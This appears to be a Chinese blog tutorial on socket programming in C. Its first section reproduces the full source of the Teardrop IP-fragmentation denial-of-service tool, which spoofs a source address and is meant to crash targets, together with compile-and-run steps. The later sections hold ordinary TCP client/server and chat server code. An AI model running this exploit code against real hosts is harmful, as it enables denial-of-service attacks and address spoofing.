一、原始套接字编程

在虚拟机下创建一个Teardrop.c，并输入以下代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else 
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 
/* Linux dies with 1, NT is more stalwart and can * withstand maybe 5 or 10 sometimes... Experiment. */

//错误处理函数
void usage(u_char *);
//获取主机信息
u_long name_resolve(u_char *);
//设置 IP 包的内容并发送
void send_frags(int ,u_long,u_long,u_short,u_short);

//主函数
int main(int argc,char **argv)
{ 
   
    int one = 1, count = 0, i, rip_sock;
    //定义无符号长整型源 IP 和目的 IP
    u_long src_ip = 0, dst_ip = 0;
    //定义无符号短整型源端口号和目的端口号
    u_short src_prt = 0, dst_prt = 0;
    /* 定一个结构体 in_addr（表示一个32位的IPv4地址）的一个对象 struct in_addr { union { struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b; //An IPv4 address formatted as four u_chars. struct { u_short s_w1,s_w2; } S_un_w; //An IPv4 address formatted as two u_shorts u_long S_addr;//An IPv4 address formatted as a u_long } S_un; #define s_addr S_un.S_addr }; */
    struct in_addr addr;
    printf("teardrop route|daemon9\n\n");

    /* 创建一个原始套接字 AF_INET——IPv4地址； SOCK_RAW——原始的套接字类型 IPPROTO_RAW——允许使用底层的套接字协议，就可以自己编写IP包 如果创建套接字成功，则会返回一个描述符（int型），失败则会返回 INVALID_SOCKET 每个电脑里面都会有一个描述符表，对应套接字 如果创建失败，将错误消息输出到屏幕 然后退出程序 */
    if((rip_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
    { 
   
	fprintf(stderr,"raw socket");
	exit(1);
    }

    /* 设置原始套接字选项 IP_HDRINCL 如果不设置这个选项，IP 协议会自动填充 IP 数据包的首部 这个情况是我们所不需要的，我们需要自己编写 IP 包 */
    if(setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)) < 0)
    { 
   
        fprintf(stderr,"IP_HDRINCL");
        exit(1);
    }

    /* 如果程序运行时送给main函数的命令行参数个数小于 3 个， 调用 usage 函数，传参为 argv[0]：指向程序运行的全路径名 */
    if(argc < 3)
        usage(argv[0]);

    //调用 name_resolve 函数设置源 IP 和目的 IP 
    if(!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
    { 
   
        fprintf(stderr,"What the hell kind of IP address is that?\n");
        exit(1);
    }

    /* 调用 getopt 函数分析命令行参数，该函数的参数含义： ——命令行参数个数（argc） ——命令行参数内容（argv） ——参数格式（opstring）：字母后有 : 表示该选项后面必须跟参数 getopt 函数处理不符合 optstring 指定的选项 并将选项后的参数保存在 optarg 中 然后返回选项的 ASCLL 码 atoi 函数是将参数（optarg）转化为十进制（会跳过前面的空白字符） 如果不能转化为十进制，则返回 0 ，值过大返回 -1 该循环语句是为了从命令行传端口值 */
    while((i = getopt(argc, argv, "s:t:n:")) != EOF)
    { 
   
        switch (i)
        { 
   
        case 's'://源端口(重点)
        src_prt = (u_short)atoi(optarg);
            break;
        case 't'://目的端口 (DNS，任何人？)
        dst_prt = (u_short)atoi(optarg);
            break;
        case 'n'://设置发送包的个数
        count = atoi(optarg);
            break;
        default:
        usage(argv[0]);
            break;
        }
    }
    /* srandom 函数：设置种子值（以“当前时间 + 进程 ID”作为种子） 如果前面设置的源端口和目的端口是零，则随机赋值 */
    srandom((unsigned)(utimes("0",(time_t)0)));
    if(!src_prt)
        src_prt = (random() % 0xffff);//设置随机源端口号
    if(!dst_prt)
        dst_prt = (random() % 0xffff);//设置随即目的端口号
    if(!count)
        count = COUNT;//设置默认为一个包
    //inet_ntoa 函数：将一个IP转换成一个互联网标准点分格式的字符串
    printf("Death on flaxen wings:\n");
    addr.s_addr = src_ip;//给对象 addr 的成员变量赋值
    printf("From:%15s.%5d\n",inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;//给对象 addr 的成员变量 赋值
    printf("To:%15s.%5d\n",inet_ntoa(addr), dst_prt);
    printf("Amt:%5d\n",count);
    printf("[\n");

    /* 循环调用 send_frags 函数 每一次循环完了后睡眠 0.5 s */
    for (i = 0; i < count; i++)
    { 
   
        send_frags(rip_sock,src_ip,dst_ip,src_prt,dst_prt);
        usleep(500);
    }
    printf("]\n");
    return (0);
}

//设置 IP 包的内容并发送
void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt)
{ 
   
    u_char *packet = NULL, *p_ptr = NULL,*flag = NULL;//定义 IP 包指针
    u_char byte;//无符号字符储存二进制
    struct sockaddr_in sin;
    /* sockaddr 套接字协议结构 用于存储参与（IP）Windows/linux套接字通信的计算机上的一个internet协议（IP）地址 struct sockaddr { unsigned short sa_family; //address family, AF_xxx char sa_data[14]; //14 bytes of protocol address }; */
    sin.sin_family = AF_INET;//IPv4地址
    sin.sin_port = src_prt;//源端口
    sin.sin_addr.s_addr = dst_ip;//目的 IP
    /* malloc 函数： 原型：extern void *malloc(unsigned int num_bytes); 功能：分配长度为num_bytes字节的内存块(这里分配了 56 个字节的内存块) 说明：分配成功则返回指向被分配内存的指针，否则返回空指针 NULL */
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr = packet;//指向 IP 包内存地址
    flag = packet;
    /* bzero 函数： 原型：extern void bzero(void *s, int n); 功能：置字节字符串前n个字节为零且包括‘\0’，无返回值 这里是将 IP 包的 56 个字节全部至空 */
    bzero((u_char *)p_ptr,IPH + UDPH + PADDING);
    /* 设置 IP 包的Version（版本）和Hlen（长度） 大多数的 IP 包都是以 4500 开头的（十六进制） */
    byte = 0x45;
    /* memcpy 函数： 原型：void *memcpy(void *destin, void *source, unsigned n); 功能：从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中 即从源source中拷贝n个字节到目标destin中 这里是指从 byte 的内容（0x45）拷贝到 IP 包中 */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;// 此时默认 IP 包的 TOS（优先级）为 0
    /* FIX 函数（htons 函数的别名） htons 函数：将一个无符号短整型的主机数值转换为网络字节顺序 即大尾顺序(big-endian) 这里是设置 Datagram Total Length（IP 包总长度） */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
    p_ptr += 2;
    //这是是设置 identifier（IP 包标识）
    *((u_short *)p_ptr) = htons(242);//IP id
    p_ptr += 2;
    //这里设置 Flags（标志）
    *((u_short *)p_ptr) |= FIX(IP_MF);
    p_ptr += 2;
    //设置 TTL （存活期）
    *((u_short *)p_ptr) = 0x40;
    //设置 Protocol（协议）
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    //IP 的校验码由实时操作系统设置
    p_ptr += 4;
    //设置 IP 包的 Source Address（源地址）
    *((u_long *)p_ptr) = src_ip;
    p_ptr += 4;
    //设置 IP 包的 Destination Address（目的地址）
    *((u_long *)p_ptr) = dst_ip;
    p_ptr += 4;
    //设置 UDP 的源端口
    *((u_short *)p_ptr) = htons(src_prt);
    p_ptr += 2;
    //设置 UDP 的目的端口
    *((u_short *)p_ptr) = htons(dst_prt);
    p_ptr += 2;
    //设置 UDP 的数据长度
    *((u_short *)p_ptr) = htons(PADDING);
    p_ptr += 4;
    /* 设置要发送的数据：Fake News 根据 ASCLL 码表可转换成 46 61 6B 65 20 4E 65 77 73 */
    *((u_short *)p_ptr) = 0x46;
    p_ptr++;
    *((u_short *)p_ptr) = 0x61;
    p_ptr++;
    *((u_short *)p_ptr) = 0x6B;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x20;
    p_ptr++;
    *((u_short *)p_ptr) = 0x4E;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x77;
    p_ptr++;
    *((u_short *)p_ptr) = 0x73;
    /* sendto 函数：指向一指定目的地发送数据 将指定字节数的数据发送到指定的终结点 sendto()适用于发送未建立连接的UDP数据报（参数为SOCK_DGRAM） 返回值：为整型，如果成功，则返回发送的字节数，失败则返回SOCKET_ERROR 发送 IPv4 包，下面这个条件语句发送失败才会执行 */
    int i=1;
    while(i <= 56)
    { 
   
	printf("%x\t",*flag);
	flag++;
        if(0 == i%8)
	    printf("\n");
        i++;
    }
    if(sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    { 
   
        fprintf(stderr, "\nsendto");
        free(packet);//释放 packet 指针
        exit(1);
    }
    //IP total length is 2 bytes into the header
    //IP 包总长度是2字节，放进头部
    p_ptr = &packet[2];
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    //IP offset is 6 bytes into the header
    p_ptr += 4;
    *((u_short *)p_ptr) = FIX(MAGIC);
    //发送 UDP 包，下面这个条件语句发送失败才会执行
    if(sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    { 
   
        fprintf(stderr, "\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}

//获取主机信息
u_long name_resolve(u_char *host_name)
{ 
   
    struct in_addr addr;//32位 IPv4 地址
    /* hostent 结构体：该结构记录主机的信息，包括主机名、别名、地址类型、地址长度和地址列表 struct hostent { char *h_name; char **h_aliases; int h_addrtype; int h_length; char **h_addr_list; }; #define h_addr h_addr_list[0] */
    struct hostent *host_ent;
    /* gethostbyname 函数：返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针 bcopy 函数：将第一个参数（字符串）的前n（第三个参数）个字节复制到第二个参数中 */
    if((addr.s_addr = inet_addr(host_name)) == -1)
    { 
   
        if(!(host_ent = gethostbyname(host_name)))
            return (0);
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}

//错误处理函数
void usage(u_char *name)
{ 
   
    fprintf(stderr, "%s src_ip dst_ip [ -s src_prit ] [ -t dst_prt ] [ -n how_many ]\n",name);
    exit(0);
}

使用gcc Teardrop.c -o Teardrop编译为可执行文件。
之后运行可执行文件Teardrop

可能是接口没选对的原因，笔者使用wireshark并没能抓到这个包，希望看到的朋友能给出解决方案。

二、面向连接的流式套接字c/s

1.在Ubuntu中创建client1.c，并编译
代码如下：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define PORT "9090" //the port client will be connecting to
#define MAXDATASIZE 100 //max number of bytes we can get at once

//get sockaddr, IPv4
void *get_in_addr(struct sockaddr *sa)
{ 
   
	if(sa->sa_family == AF_INET)
	{ 
   
		return &(((struct sockaddr_in*)sa)->sin_addr);
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main(int argc, char *argv[])
{ 
   
	int sockfd, numbytes;
	char buf[MAXDATASIZE];
	struct addrinfo hints, *servinfo, *p;
	int rv;
	char s[INET6_ADDRSTRLEN];
	//如果命令行参数不等于 2 ，则执行下面的语句
	if(argc != 2)
	{ 
   
		fprintf(stderr, "usage:client hostname\n");  //打印错误消息
		exit(1);  //退出
	}
	//将hints内存的内容置 0
	memset(&hints, 0, sizeof hints);
	//设置协议无关
	hints.ai_family = AF_UNSPEC;
	//设置套接为流
	hints.ai_socktype = SOCK_STREAM;
	if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
	{ 
   
		fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
		return 1;
	}
	//遍历所有返回结果并链接到第一个成功连接的套接
	for(p = servinfo; p != NULL; p = p->ai_next)
	{ 
   
		//创建一个套接字
		if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
		{ 
   
			perror("client:socket");
			continue;
		}
		//连接状态判断
		if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
		{ 
   
			close(sockfd);
			perror("client:connect");
			continue;
		}
		//如果创建套接字成功且连接成功，则退出循环
		break;
	}
	//如果套接口地址为空，则打印结果
	if(p == NULL)
	{ 
   
		fprintf(stderr, "client:failed to connect\n");
		return 2;
	}
	//inet_ntop 函数可以将 IP 地址在“点分十进制”和“整数”之间转换
	inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
	printf("client:connecting to %s\n",s);
	//freeaddrinfo 函数释放 getaddriinfo 函数返回的存储空间
	freeaddrinfo(servinfo);
	//recv 函数用于判断缓冲区数据传输的状态，传输异常则打印消息比并退出
	if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
	{ 
   
		perror("recv");
		exit(1);
	}
	//将字符数组的最后一位置 \0 ，用于后面一次性输出
	buf[numbytes] = '\0';
	printf("client:received %s\n",buf);
	close(sockfd);
	return 0;
}

1.在树莓派中创建server1.c，并编译
代码如下：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define PORT "9090" //the port users will be connecting to
#define BACKLOG 10 //how many pending connections queue will hold

void sigchld_handler(int s)
{ 
   
	//Waitpid temporarily stops the execution of the current process until a signal arrives or the child process terminates.
	while(waitpid(-1, NULL, WNOHANG) > 0);
}

//get sockaddr, IPv4
void *get_in_addr(struct sockaddr *sa)
{ 
   
	if(sa->sa_family == AF_INET)
	{ 
   
		return &(((struct sockaddr_in*)sa)->sin_addr);
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main(void)
{ 
   
	int sockfd, new_fd;  //listen on sock_fd,new connection on new_fd
	struct addrinfo hints, *servinfo, *p;
	struct sockaddr_storage their_addr;  //connector's address information
	socklen_t sin_size;
	struct sigaction sa;
	//Sigaction is a function that can be used to query or set up signal processing
	int yes = 1;
	char s[INET6_ADDRSTRLEN];
	int rv;
	//Set the Hints memory to zero
	memset(&hints, 0, sizeof hints);
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_flags = AI_PASSIVE;  //use my IP

	if((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0)
	{ 
   
		fprintf(stderr, "getaddrinfo:%s\n", gai_strerror(rv));
		return 1;
	}
	//loop through all the results and bind to the first we can
	for(p = servinfo; p != NULL; p = p->ai_next)
	{ 
   
		if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
		{ 
   
			perror("server:socket");
			continue;
		}

		if(setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
		{ 
   
			perror("setsockopt");
			exit(1);
		}

		if(bind(sockfd, p->ai_addr, p->ai_addrlen) == -1)
		{ 
   
			close(sockfd);
			perror("server:bind");
			continue;
		}

		break;
	}
	//If the pointer P is null, an error message is printed
	if(p == NULL)
	{ 
   
		fprintf(stderr, "server:failed to bind\n");
		return 2;
	}
	//all done with this structure
	freeaddrinfo(servinfo);
	/* Leave a socket in the state of listening for incoming connection requests If the listening fails, exit */
	if(listen(sockfd, BACKLOG) == -1)
	{ 
   
		perror("listen");
		exit(1);
	}

	sa.sa_handler = sigchld_handler;  //reap all dead processes
	sigemptyset(&sa.sa_mask);
	sa.sa_flags = SA_RESTART;
	if(sigaction(SIGCHLD, &sa, NULL) == -1)
	{ 
   
		perror("sigaction");
		exit(1);
	}
	printf("server:waiting for connections...\n");
	//main accept() loop
	while(1) 
	{ 
   
		sin_size = sizeof their_addr;
		new_fd = accept(sockfd, (struct sockaddr*)&their_addr, &sin_size);
		if(new_fd == -1)
		{ 
   
			perror("accept");
			continue;
		}

		inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr*)&their_addr), s, sizeof s);
		printf("server:got connection from %s\n",s);

		if(!fork())  //this is the child process
		{ 
   
			close(sockfd);  //child doesn't need the listener
			if(send(new_fd, "Hello,world!", 13, 0) == -1)
				perror("send");
			close(new_fd);
			exit(0);
		}
		close(new_fd);  //parent doesn't need this
	}
	return 0;
}

先运行服务端，再运行客户端。客户端中运行时加上服务端的ip地址即可连接服务器。

三、非阻塞的多人聊天服务器IPv4

在Ubuntu分别创建client2.c文件，编译

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>

#define PORT "9090" //the port client will be connecting to
#define MAXDATASIZE 100 //max number of bytes we can get at once

int sockfd, numbytes;
char buf[MAXDATASIZE];

//get sockaddr, IPv4 or IPv6
void *get_in_addr(struct sockaddr *sa)
{ 
   
	if(sa->sa_family == AF_INET)
	{ 
   
		return &(((struct sockaddr_in*)sa)->sin_addr);
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

void *recvMag()
{ 
   
    while(1)
    { 
   
        if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
	{ 
   
		perror("recv");
		exit(1);
	}
	if(numbytes == 1)
		continue;
	buf[numbytes] = '\0';
	printf("\nreceived：%s\n",buf);
    }
}

int main(int argc, char *argv[])
{ 
   
	struct addrinfo hints, *servinfo, *p;
	int rv;
	char s[INET6_ADDRSTRLEN];
    pthread_t t1;
    char mag[MAXDATASIZE];

	if(argc != 2)
	{ 
   
		fprintf(stderr, "usage:client hostname\n");
		exit(1);
	}
	memset(&hints, 0, sizeof hints);
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
	{ 
   
		fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
		return 1;
	}
	for(p = servinfo; p != NULL; p = p->ai_next)
	{ 
   
		if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
		{ 
   
			perror("client:socket");
			continue;
		}
		if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
		{ 
   
			close(sockfd);
			perror("client:connect");
			continue;
		}
		break;
	}
	if(p == NULL)
	{ 
   
		fprintf(stderr, "client:failed to connect\n");
		return 2;
	}
	inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
	printf("client:connecting to %s\n",s);
	freeaddrinfo(servinfo);

    int err = pthread_create(&t1, NULL, recvMag, NULL);
	if(err != 0)
	{ 
   
		printf("receive failed");
		exit(1);
	}
    
	while(1)
	{ 
   
        scanf("%s", mag);
        if(send(sockfd, mag, sizeof mag, 0) == -1)
        { 
   
            printf("send failed!\n");
        }
	}
	//close(sockfd);
	return 0;
}

服务端：创建server2.c文件

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define PORT "9090" //port we're listening on
//get sockaddr,IPv4 or IPv6:
//sockaddr 结构体：存储参与（IP）Windows/linux套接字通信的计算机上的一个internet协议（IP）地址
void *get_in_addr(struct sockaddr *sa)
{ 
   
    if(sa->sa_family == AF_INET){ 
   
        return &(((struct sockaddr_in*)sa)->sin_addr);
    }
    return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main(void)
{ 
   
    fd_set master;  //主文件描述符列表
    fd_set read_fds;  //select() 的临时文件描述符列表
    /* 当调用 select() 时，由内核根据 IO 状态修改 fd_set 的内容 由此来通知执行了 select() 的进程哪一 socket 或文件发生了可读或可写事件 */
    int fdmax;  //最大文件描述符
    int listener;  //监听套接字描述符
    int newfd;  //新接受的套接字描述符
    //sockaddr_storage 结构体：存储套接字地址信息
    struct sockaddr_storage remoteaddr;  //客户端地址
    socklen_t addrlen;//socklen_t 和 int 相同长度的一种类型

    char buf[256];  //用于客户端数据的缓冲区
    int nbytes;

    int yes=1;  //for setsockopt() SO_REUSEADDR,below
    int i,j,rv;
    char remoteIP[INET_ADDRSTRLEN];

    struct addrinfo hints,*ai,*p;  //地址信息结构体

    FD_ZERO(&master);  //清除主文件描述符列表
    FD_ZERO(&read_fds);  //清楚临时文件描述符列表

    //给我们一个套接字并绑定它
    memset(&hints, 0, sizeof hints);  //地址信息置零
    hints.ai_family = AF_UNSPEC;  //AF_UNSPEC（协议无关）
    hints.ai_socktype = SOCK_STREAM;  //SOCK_STREAM（流）
    hints.ai_flags = AI_PASSIVE;  //AI_PASSIVE（被动的，用于 bind）
    if((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0)
    { 
   
        fprintf(stderr, "selectserver:%s\n", gai_strerror(rv));
        exit(1);
    }

    //遍历所有的结果
    for(p = ai; p != NULL; p = p->ai_next)
    { 
   
        //创建套接字并赋值给 listener 套接字描述符
        listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
        if(listener < 0)
        { 
   
            continue;
        }
        //setsockope 函数用于任意类型、任意状态套接字的设置选项
        setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
        /* bind 函数：用于未连接的数据报或流类套接口，把一本地址与一套接口捆绑 在 connect() 或 listen() 调用前使用 */
        if(bind(listener, p->ai_addr, p->ai_addrlen) < 0)
        { 
   
            close(listener);
            continue;
        }
        break;
    }

    if(p == NULL)
    { 
   
        fprintf(stderr, "selectserver:failed to bind\n");
        exit(2);
    }

    //到了这里，意味着服务器的地址和端口绑定完成，可以释放 ai 的内存
    freeaddrinfo(ai);  

    /* listen 函数：创建一个套接口并监听申请的连接. 参数一：用于标识一个已捆绑未连接套接口的描述符 参数二：等待连接队列的最大长度（这里是 10） */
    if(listen(listener, 10) == -1)
    { 
   
        perror("listen");
        exit(3);
    }

    //将侦听器添加到主文件
    FD_SET(listener, &master);

    //跟踪最大的文件描述符
    fdmax = listener;  //到目前为止，是这个

    //主循环
    for(;;)
    { 
   
        read_fds = master;  //将主文件描述符表复制到临时文件描述符表

        /* select 函数：确定一个或多个套接口的状态，如需要则等待。 原型：int select( int nfds, fd_set FAR* readfds,　fd_set * writefds, fd_set * exceptfds,　const struct timeval * timeout); nfds：是一个整数值，是指集合中所有文件描述符的范围，即所有文件描述符的最大值加1， 不能错！在Windows中这个参数的值无所谓，可以设置不正确。 readfds：（可选）指针，指向一组等待可读性检查的套接口。 writefds：（可选）指针，指向一组等待可写性检查的套接口。 exceptfds：（可选）指针，指向一组等待错误检查的套接口。 timeout：select()最多等待时间，对阻塞操作则为 NULL。 */
        if(select(fdmax + 1, &read_fds, NULL, NULL, NULL) == -1)
        { 
   
            perror("select");
            exit(4);
        }

        //运行现有的连接，查找要读取的数据
        for(i = 0; i <= fdmax; i++)
        { 
   
            if(FD_ISSET(i, &read_fds))  //得到了一个连接
            { 
   
                if(i == listener)//如果新连接为最大文件描述符
                { 
   
                    //处理新连接
                    addrlen = sizeof remoteaddr;
                    newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen);

                    if(newfd == -1)
                    { 
   
                        perror("accept");
                    }
                    else
                    { 
   
                        FD_SET(newfd, &master);  //添加到主文件描述符列表
                        if(newfd > fdmax)  //记录最大值
                        { 
   
                            fdmax = newfd;
                        }
                        printf("selectserver:new connection from %s on socket %d\n", inet_ntop(remoteaddr.ss_family, get_in_addr((struct sockaddr*)&remoteaddr), remoteIP, INET_ADDRSTRLEN), newfd);
                    }
                }
                else
                { 
   
                    //处理来自客户端的数据
                    if((nbytes = recv(i, buf, sizeof buf, 0)) <= 0)
                    { 
   
                        //出现错误或连接被客户端关闭
                        if(nbytes == 0)
                        { 
   
                            //连接关闭了
                            printf("selectserver:socket %d hung up\n", i);
                        }
                        else
                        { 
   
                            perror("recv");
                        }
                        close(i); //关闭
                        FD_CLR(i, &master);  //从主文件描述符列表中删除
                    }
                    else
                    { 
   
                        //我们从一个客户那里得到了一些数据
                        for(j =0; j <= fdmax; j++)
                        { 
   
			    			//发给大家！
                            if(FD_ISSET(j, &master))
                            { 
   
                                //除了监听器和我们自己
                                if(j != listener && j != i)
                                { 
   
                                    if(send(j, buf, nbytes, 0) == -1)
                                    { 
   
                                        perror("send");
                                    }
                                }
                            }
                        }
                    }
                }  
            }
        } 
    } 
    return 0;
}

编译并运行，和前一个一样。

今天的文章Socket编程实例分享到此就结束了，感谢您的阅读，如果确实帮到您，您可以动动手指转发给其他人。